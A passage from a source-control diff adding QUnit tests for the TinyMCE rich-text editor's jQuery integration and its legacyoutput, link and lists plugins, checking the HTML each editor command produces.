+	equal($('#elm3').tinymce(), null);
+});
+
+test("Get contents using jQuery", function() {
+	expect(4);
+
+	tinymce.get('elm1').setContent('<p>Editor 1</p>');
+
+	equal($('#elm1').html(), '<p>Editor 1</p>');
+	equal($('#elm1').val(), '<p>Editor 1</p>');
+	equal($('#elm1').attr('value'), '<p>Editor 1</p>');
+	equal($('#elm1').text(), 'Editor 1');
+});
+
+test("Set contents using jQuery", function() {
+	expect(4);
+
+	$('#elm1').html('Test 1');
+	equal($('#elm1').html(), '<p>Test 1</p>');
+
+	$('#elm1').val('Test 2');
+	equal($('#elm1').html(), '<p>Test 2</p>');
+
+	$('#elm1').text('Test 3');
+	equal($('#elm1').html(), '<p>Test 3</p>');
+
+	$('#elm1').attr('value', 'Test 4');
+	equal($('#elm1').html(), '<p>Test 4</p>');
+});
+
+test("append/prepend contents using jQuery", function() {
+	expect(2);
+
+	tinymce.get('elm1').setContent('<p>Editor 1</p>');
+
+	$('#elm1').append('<p>Test 1</p>');
+	equal($('#elm1').html(), '<p>Editor 1</p>\n<p>Test 1</p>');
+
+	$('#elm1').prepend('<p>Test 2</p>');
+	equal($('#elm1').html(), '<p>Test 2</p>\n<p>Editor 1</p>\n<p>Test 1</p>');
+});
+
+test("Find using :tinymce selector", function() {
+	expect(1);
+
+	equal($('textarea:tinymce').length, 2);
+});
+
+test("Set contents using :tinymce selector", function() {
+	expect(3);
+
+	$('textarea:tinymce').val('Test 1');
+	equal($('#elm1').val(), '<p>Test 1</p>');
+	equal($('#elm2').val(), '<p>Test 1</p>');
+	equal($('#elm3').val(), 'Textarea');
+});
+
+test("Get contents using :tinymce selector", function() {
+	expect(1);
+
+	$('textarea:tinymce').val('Test get');
+	equal($('textarea:tinymce').val(), '<p>Test get</p>');
+});
Index: /tags/4.1.6/tests/qunit/editor/plugins/legacyoutput.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/plugins/legacyoutput.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/plugins/legacyoutput.js	(revision 33402)
@@ -0,0 +1,93 @@
+module("tinymce.plugins.Legacyoutput", {
+	setupModule: function() {
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "textarea",
+			add_unload_trigger: false,
+			skin: false,
+			plugins: 'legacyoutput',
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+				QUnit.start();
+			}
+		});
+	}
+});
+
+test("Font color", function() {
+	editor.setContent('<p>text</p>');
+	Utils.setSelection('p', 0, 'p', 4);
+	editor.execCommand('forecolor', false, '#FF0000');
+	equal(editor.getContent().toLowerCase(), '<p><font color="#ff0000">text</font></p>');
+});
+
+test("Font size", function() {
+	editor.setContent('<p>text</p>');
+	Utils.setSelection('p', 0, 'p', 4);
+	editor.execCommand('fontsize', false, 7);
+	equal(editor.getContent(), '<p><font size="7">text</font></p>');
+});
+
+test("Font face", function() {
+	editor.setContent('<p>text</p>');
+	Utils.setSelection('p', 0, 'p', 4);
+	editor.execCommand('fontname', false, "times");
+	equal(editor.getContent(), '<p><font face="times">text</font></p>');
+});
+
+test("Bold", function() {
+	editor.setContent('<p>text</p>');
+	Utils.setSelection('p', 0, 'p', 4);
+	editor.execCommand('bold');
+	equal(editor.getContent(), '<p><b>text</b></p>');
+});
+
+test("Italic", function() {
+	editor.setContent('<p>text</p>');
+	Utils.setSelection('p', 0, 'p', 4);
+	editor.execCommand('italic');
+	equal(editor.getContent(), '<p><i>text</i></p>');
+});
+
+test("Underline", function() {
+	editor.setContent('<p>text</p>');
+	Utils.setSelection('p', 0, 'p', 4);
+	editor.execCommand('underline');
+	equal(editor.getContent(), '<p><u>text</u></p>');
+});
+
+test("Strikethrough", function() {
+	editor.setContent('<p>text</p>');
+	Utils.setSelection('p', 0, 'p', 4);
+	editor.execCommand('strikethrough');
+	equal(editor.getContent(), '<p><strike>text</strike></p>');
+});
+
+test("Justifyleft", function() {
+	editor.setContent('<p>text</p>');
+	Utils.setSelection('p', 0, 'p', 4);
+	editor.execCommand('justifyleft');
+	equal(editor.getContent(), '<p align="left">text</p>');
+});
+
+test("Justifycenter", function() {
+	editor.setContent('<p>text</p>');
+	Utils.setSelection('p', 0, 'p', 4);
+	editor.execCommand('justifycenter');
+	equal(editor.getContent(), '<p align="center">text</p>');
+});
+
+test("Justifyright", function() {
+	editor.setContent('<p>text</p>');
+	Utils.setSelection('p', 0, 'p', 4);
+	editor.execCommand('justifyright');
+	equal(editor.getContent(), '<p align="right">text</p>');
+});
+
+test("Justifyfull", function() {
+	editor.setContent('<p>text</p>');
+	Utils.setSelection('p', 0, 'p', 4);
+	editor.execCommand('justifyfull');
+	equal(editor.getContent(), '<p align="justify">text</p>');
+});
Index: /tags/4.1.6/tests/qunit/editor/plugins/link.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/plugins/link.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/plugins/link.js	(revision 33402)
@@ -0,0 +1,162 @@
+(function() {
+	module("tinymce.plugins.Link", {
+		setupModule: function() {
+			QUnit.stop();
+
+			tinymce.init({
+				selector: 'textarea',
+				add_unload_trigger: false,
+				skin: false,
+				indent: false,
+				plugins: "link",
+				init_instance_callback: function(ed) {
+					window.editor = ed;
+					QUnit.start();
+				}
+			});
+		},
+
+		teardown: function() {
+			delete editor.settings.file_browser_callback;
+			delete editor.settings.link_list;
+			delete editor.settings.link_class_list;
+			delete editor.settings.link_target_list;
+			delete editor.settings.rel_list;
+
+			var win = Utils.getFontmostWindow();
+
+			if (win) {
+				win.close();
+			}
+		}
+	});
+
+	function cleanHtml(html) {
+		return Utils.cleanHtml(html).replace(/<p>(&nbsp;|<br[^>]+>)<\/p>$/, '');
+	}
+
+	function fillAndSubmitWindowForm(data) {
+		var win = Utils.getFontmostWindow();
+
+		win.fromJSON(data);
+		win.find('form')[0].submit();
+		win.close();
+	}
+
+	test('Default link dialog on empty editor', function() {
+		editor.setContent('');
+		editor.execCommand('mceLink', true);
+
+		deepEqual(Utils.getFontmostWindow().toJSON(), {
+			"href": "",
+			"target": "",
+			"text": "",
+			"title": ""
+		});
+
+		fillAndSubmitWindowForm({
+			"href": "href",
+			"target": "_blank",
+			"text": "text",
+			"title": "title"
+		});
+
+		equal(
+			cleanHtml(editor.getContent()),
+			'<p><a title="title" href="href" target="_blank">text</a></p>'
+		);
+	});
+
+	test('Default link dialog on text selection', function() {
+		editor.setContent('<p>abc</p>');
+		Utils.setSelection('p', 1, 'p', 2);
+		editor.execCommand('mceLink', true);
+
+		deepEqual(Utils.getFontmostWindow().toJSON(), {
+			"href": "",
+			"target": "",
+			"text": "b",
+			"title": ""
+		});
+
+		fillAndSubmitWindowForm({
+			"href": "href",
+			"target": "_blank",
+			"title": "title"
+		});
+
+		equal(
+			cleanHtml(editor.getContent()),
+			'<p>a<a title="title" href="href" target="_blank">b</a>c</p>'
+		);
+	});
+
+	test('Default link dialog on non pure text selection', function() {
+		editor.setContent('<p>a</p><p>bc</p>');
+		Utils.setSelection('p:nth-child(1)', 0, 'p:nth-child(2)', 2);
+		editor.execCommand('mceLink', true);
+
+		deepEqual(Utils.getFontmostWindow().toJSON(), {
+			"href": "",
+			"target": "",
+			"title": ""
+		});
+
+		fillAndSubmitWindowForm({
+			"href": "href",
+			"target": "_blank",
+			"title": "title"
+		});
+
+		equal(
+			cleanHtml(editor.getContent()),
+			'<p><a title="title" href="href" target="_blank">a</a></p>' +
+			'<p><a title="title" href="href" target="_blank">bc</a></p>'
+		);
+	});
+
+	test('All lists link dialog on empty editor', function() {
+		editor.settings.link_list = [
+			{title: 'link1', value: 'link1'},
+			{title: 'link2', value: 'link2'}
+		];
+
+		editor.settings.link_class_list = [
+			{title: 'class1', value: 'class1'},
+			{title: 'class2', value: 'class2'}
+		];
+
+		editor.settings.target_list = [
+			{title: 'target1', value: 'target1'},
+			{title: 'target2', value: 'target2'}
+		];
+
+		editor.settings.rel_list = [
+			{title: 'rel1', value: 'rel1'},
+			{title: 'rel2', value: 'rel2'}
+		];
+
+		editor.setContent('');
+		editor.execCommand('mceLink', true);
+
+		deepEqual(Utils.getFontmostWindow().toJSON(), {
+			"class": "class1",
+			"href": "",
+			"rel": "rel1",
+			"target": "target1",
+			"text": "",
+			"title": ""
+		});
+
+		fillAndSubmitWindowForm({
+			"href": "href",
+			"text": "text",
+			"title": "title"
+		});
+
+		equal(
+			cleanHtml(editor.getContent()),
+			'<p><a class="class1" title="title" href="href" target="target1" rel="rel1">text</a></p>'
+		);
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/plugins/lists.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/plugins/lists.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/plugins/lists.js	(revision 33402)
@@ -0,0 +1,2013 @@
+module("tinymce.plugins.Lists", {
+	setupModule: function() {
+		document.getElementById('view').innerHTML = '<textarea id="elm1"></textarea><div id="elm2"></div>';
+		QUnit.stop();
+
+		function wait() {
+			if (window.editor && window.inlineEditor) {
+				if (!QUnit.started) {
+					QUnit.start();
+					QUnit.started = true;
+				}
+			} else {
+				setTimeout(wait, 0);
+			}
+		}
+
+		tinymce.init({
+			selector: '#elm1',
+			plugins: wpPlugins,
+			add_unload_trigger: false,
+			skin: false,
+			indent: false,
+			schema: 'html5',
+			entities: 'raw',
+			valid_elements: 'li,ol,ul,dl,dt,dd,em,strong,span,#p,div,br',
+			valid_styles: {
+				'*': 'color,font-size,font-family,background-color,font-weight,font-style,text-decoration,float,margin,margin-top,margin-right,margin-bottom,margin-left,display,position,top,left'
+			},
+			disable_nodechange: true,
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+				wait();
+			}
+		});
+
+		tinymce.init({
+			selector: '#elm2',
+			inline: true,
+			add_unload_trigger: false,
+			skin: false,
+			plugins: wpPlugins,
+			disable_nodechange: true,
+			init_instance_callback: function(ed) {
+				window.inlineEditor = ed;
+				wait();
+			}
+		});
+	},
+
+	teardown: function() {
+		editor.settings.forced_root_block = 'p';
+	}
+});
+
+function trimBrs(html) {
+	return html.toLowerCase().replace(/<br[^>]*>|[\r\n]+/gi, '');
+}
+
+function execCommand(cmd) {
+	// Make sure we execute custom execCommands not browser commands
+	var cmdItem = editor.execCommands[cmd];
+	return cmdItem.func.call(cmdItem.scope, false, null);
+}
+
+test('Apply UL list to single P', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<p>a</p>'
+	);
+
+	editor.focus();
+	Utils.setSelection('p', 0);
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(), '<ul><li>a</li></ul>');
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Apply UL list to single empty P', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<p><br></p>'
+	);
+
+	editor.focus();
+	Utils.setSelection('p', 0);
+	execCommand('InsertUnorderedList');
+
+	equal(trimBrs(editor.getContent({format: 'raw'})), '<ul><li></li></ul>');
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Apply UL list to multiple Ps', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<p>a</p>' +
+		'<p>b</p>' +
+		'<p>c</p>'
+	);
+
+	editor.focus();
+	Utils.setSelection('p', 0, 'p:last', 0);
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+	equal(editor.selection.getStart().nodeName, 'LI');
+});
+
+test('Apply OL list to single P', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<p>a</p>'
+	);
+
+	editor.focus();
+	Utils.setSelection('p', 0);
+	execCommand('InsertOrderedList');
+
+	equal(editor.getContent(), '<ol><li>a</li></ol>');
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Apply OL list to single empty P', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<p><br></p>'
+	);
+
+	editor.focus();
+	Utils.setSelection('p', 0);
+	execCommand('InsertOrderedList');
+
+	equal(trimBrs(editor.getContent({format: 'raw'})), '<ol><li></li></ol>');
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Apply OL list to multiple Ps', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<p>a</p>' +
+		'<p>b</p>' +
+		'<p>c</p>'
+	);
+
+	editor.focus();
+	Utils.setSelection('p', 0, 'p:last', 0);
+	execCommand('InsertOrderedList');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ol>'
+	);
+	equal(editor.selection.getStart().nodeName, 'LI');
+});
+
+test('Apply OL to UL list', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li', 0, 'li:last', 0);
+	execCommand('InsertOrderedList');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ol>'
+	);
+	equal(editor.selection.getStart().nodeName, 'LI');
+});
+
+test('Apply OL to UL list with collapsed selection', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:nth-child(2)');
+	execCommand('InsertOrderedList');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ol>'
+	);
+	equal(editor.selection.getStart().nodeName, 'LI');
+});
+
+test('Apply UL to OL list', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li', 0, 'li:last', 0);
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+	equal(editor.selection.getStart().nodeName, 'LI');
+});
+
+test('Apply UL to OL list collapsed selection', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:nth-child(2)');
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+	equal(editor.selection.getStart().nodeName, 'LI');
+});
+
+test('Apply UL to P and merge with adjacent lists', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+		'</ul>' +
+		'<p>b</p>' +
+		'<ul>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('p', 1);
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+	equal(editor.selection.getStart().nodeName, 'LI');
+});
+
+test('Apply UL to OL and merge with adjacent lists', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+		'</ul>' +
+		'<ol><li>b</li></ol>' +
+		'<ul>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('ol li', 1);
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+	equal(editor.selection.getStart().nodeName, 'LI');
+});
+
+test('Apply OL to P and merge with adjacent lists', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a</li>' +
+		'</ol>' +
+		'<p>b</p>' +
+		'<ol>' +
+			'<li>c</li>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('p', 1);
+	execCommand('InsertOrderedList');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ol>'
+	);
+	equal(editor.selection.getStart().nodeName, 'LI');
+});
+
+test('Apply OL to UL and merge with adjacent lists', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a</li>' +
+		'</ol>' +
+		'<ul><li>b</li></ul>' +
+		'<ol>' +
+			'<li>c</li>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('ul li', 1);
+	execCommand('InsertOrderedList');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ol>'
+	);
+	equal(editor.selection.getStart().nodeName, 'LI');
+});
+
+test('Apply UL list to single text line', function() {
+	editor.settings.forced_root_block = false;
+
+	editor.getBody().innerHTML = (
+		'a'
+	);
+
+	editor.focus();
+	Utils.setSelection('body', 0);
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(), '<ul><li>a</li></ul>');
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Apply UL list to single text line with BR', function() {
+	editor.settings.forced_root_block = false;
+
+	editor.getBody().innerHTML = (
+		'a<br>'
+	);
+
+	editor.focus();
+	Utils.setSelection('body', 0);
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(), '<ul><li>a</li></ul>');
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Apply UL list to multiple lines separated by BR', function() {
+	editor.settings.forced_root_block = false;
+
+	editor.getBody().innerHTML = (
+		'a<br>' +
+		'b<br>' +
+		'c'
+	);
+
+	editor.focus();
+	editor.execCommand('SelectAll');
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+	equal(editor.selection.getStart().nodeName, 'LI');
+});
+
+test('Apply UL list to multiple lines separated by BR and with trailing BR', function() {
+	editor.settings.forced_root_block = false;
+
+	editor.getBody().innerHTML = (
+		'a<br>' +
+		'b<br>' +
+		'c<br>'
+	);
+
+	editor.focus();
+	editor.execCommand('SelectAll');
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+	equal(editor.selection.getStart().nodeName, 'LI');
+});
+
+test('Apply UL list to multiple formatted lines separated by BR', function() {
+	editor.settings.forced_root_block = false;
+
+	editor.getBody().innerHTML = (
+		'<strong>a</strong><br>' +
+		'<span>b</span><br>' +
+		'<em>c</em>'
+	);
+
+	editor.focus();
+	Utils.setSelection('strong', 0, 'em', 0);
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li><strong>a</strong></li>' +
+			'<li><span>b</span></li>' +
+			'<li><em>c</em></li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getStart().nodeName, 'STRONG');
+	equal(editor.selection.getEnd().nodeName, tinymce.Env.ie && tinymce.Env.ie < 9 ? 'LI' : 'EM'); // Old IE will return the end LI not a big deal
+});
+
+// Ignore on IE 7, 8 this is a known bug not worth fixing
+if (!tinymce.Env.ie || tinymce.Env.ie > 8) {
+	test('Apply UL list to br line and text block line', function() {
+		editor.settings.forced_root_block = false;
+
+		editor.setContent(
+			'a' +
+			'<p>b</p>'
+		);
+
+		var rng = editor.dom.createRng();
+		rng.setStart(editor.getBody().firstChild, 0);
+		rng.setEnd(editor.getBody().lastChild.firstChild, 1);
+		editor.selection.setRng(rng);
+		execCommand('InsertUnorderedList');
+
+		equal(editor.getContent(),
+			'<ul>' +
+				'<li>a</li>' +
+				'<li>b</li>' +
+			'</ul>'
+		);
+
+		equal(editor.selection.getStart().nodeName, 'LI');
+		equal(editor.selection.getEnd().nodeName, 'LI');
+	});
+}
+
+test('Apply UL list to text block line and br line', function() {
+	editor.settings.forced_root_block = false;
+
+	editor.getBody().innerHTML = (
+		'<p>a</p>' +
+		'b'
+	);
+
+	editor.focus();
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild.firstChild, 0);
+	rng.setEnd(editor.getBody().lastChild, 1);
+	editor.selection.setRng(rng);
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getStart().nodeName, 'LI');
+	equal(editor.selection.getEnd().nodeName, 'LI');
+});
+
+test('Apply UL list to all BR lines (SelectAll)', function() {
+	editor.settings.forced_root_block = false;
+
+	editor.getBody().innerHTML = (
+		'a<br>' +
+		'b<br>' +
+		'c<br>'
+	);
+
+	editor.focus();
+	editor.execCommand('SelectAll');
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+});
+
+test('Apply UL list to all P lines (SelectAll)', function() {
+	editor.getBody().innerHTML = (
+		'<p>a</p>' +
+		'<p>b</p>' +
+		'<p>c</p>'
+	);
+
+	editor.focus();
+	editor.execCommand('SelectAll');
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+});
+
+// Remove
+
+test('Remove UL at single LI', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li');
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<p>a</p>'
+	);
+	equal(editor.selection.getStart().nodeName, 'P');
+});
+
+test('Remove UL at start LI', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li');
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<p>a</p>' +
+		'<ul>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+	equal(editor.selection.getStart().nodeName, 'P');
+});
+
+test('Remove UL at start empty LI', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li><br></li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li');
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<p>\u00a0</p>' +
+		'<ul>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Remove UL at middle LI', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:nth-child(2)', 1);
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+		'</ul>' +
+		'<p>b</p>' +
+		'<ul>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+	equal(editor.selection.getStart().nodeName, 'P');
+});
+
+test('Remove UL at middle empty LI', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+			'<li><br></li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:nth-child(2)', 0);
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+		'</ul>' +
+		'<p>\u00a0</p>' +
+		'<ul>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Remove UL at end LI', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:last', 1);
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+		'</ul>' +
+		'<p>c</p>'
+	);
+	equal(editor.selection.getStart().nodeName, 'P');
+});
+
+test('Remove UL at end empty LI', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li><br></li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:last', 0);
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+		'</ul>' +
+		'<p>\u00a0</p>'
+	);
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Remove UL at middle LI inside parent OL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a</li>' +
+			'<ul>' +
+				'<li>b</li>' +
+				'<li>c</li>' +
+				'<li>d</li>' +
+			'</ul>' +
+			'<li>e</li>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('ul li:nth-child(2)', 1);
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a</li>' +
+			'<ul>' +
+				'<li>b</li>' +
+			'</ul>' +
+		'</ol>' +
+		'<p>c</p>' +
+		'<ol>' +
+			'<ul>' +
+				'<li>d</li>' +
+			'</ul>' +
+			'<li>e</li>' +
+		'</ol>'
+	);
+	equal(editor.selection.getStart().nodeName, 'P');
+});
+
+test('Remove UL at middle LI inside parent OL (html5)', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a' +
+				'<ul>' +
+					'<li>b</li>' +
+					'<li>c</li>' +
+					'<li>d</li>' +
+				'</ul>' +
+			'</li>' +
+			'<li>e</li>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('ul li:nth-child(2)', 1);
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a' +
+				'<ul>' +
+					'<li>b</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ol>' +
+		'<p>c</p>' +
+		'<ol>' +
+			'<li>' +
+				'<ul>' +
+					'<li>d</li>' +
+				'</ul>' +
+			'</li>' +
+			'<li>e</li>' +
+		'</ol>'
+	);
+	equal(editor.selection.getStart().nodeName, 'P');
+});
+
+test('Remove UL with single LI in BR mode', function() {
+	editor.settings.forced_root_block = false;
+
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li', 1);
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'a'
+	);
+	equal(editor.selection.getStart().nodeName, 'BODY');
+});
+
+test('Remove UL with multiple LI in BR mode', function() {
+	editor.settings.forced_root_block = false;
+
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:first', 1, 'li:last', 1);
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'a<br />' +
+		'b'
+	);
+	equal(editor.selection.getStart().nodeName, 'BODY');
+});
+
+test('Remove empty UL between two textblocks', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<div>a</div>' +
+		'<ul>' +
+			'<li></li>' +
+		'</ul>' +
+		'<div>b</div>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:first', 0);
+	execCommand('InsertUnorderedList');
+
+	equal(editor.getContent(),
+		'<div>a</div>' +
+		'<p>\u00a0</p>' +
+		'<div>b</div>'
+	);
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+// Ignore on IE 7, 8 this is a known bug not worth fixing
+if (!tinymce.Env.ie || tinymce.Env.ie > 8) {
+	test('Remove empty UL between two textblocks in BR mode', function() {
+		editor.settings.forced_root_block = false;
+
+		editor.getBody().innerHTML = trimBrs(
+			'<div>a</div>' +
+			'<ul>' +
+				'<li></li>' +
+			'</ul>' +
+			'<div>b</div>'
+		);
+
+		editor.focus();
+		Utils.setSelection('li:first', 0);
+		execCommand('InsertUnorderedList');
+
+		equal(editor.getContent(),
+			'<div>a</div>' +
+			'<br />' +
+			'<div>b</div>'
+		);
+		equal(editor.selection.getStart().nodeName, 'BR');
+	});
+}
+
+// Outdent
+
+test('Outdent inside LI in beginning of OL in LI', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a' +
+				'<ol>' +
+					'<li>b</li>' +
+					'<li>c</li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li li', 1);
+	execCommand('Outdent');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a</li>' +
+			'<li>b' +
+				'<ol>' +
+					'<li>c</li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Outdent inside LI in middle of OL in LI', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a' +
+				'<ol>' +
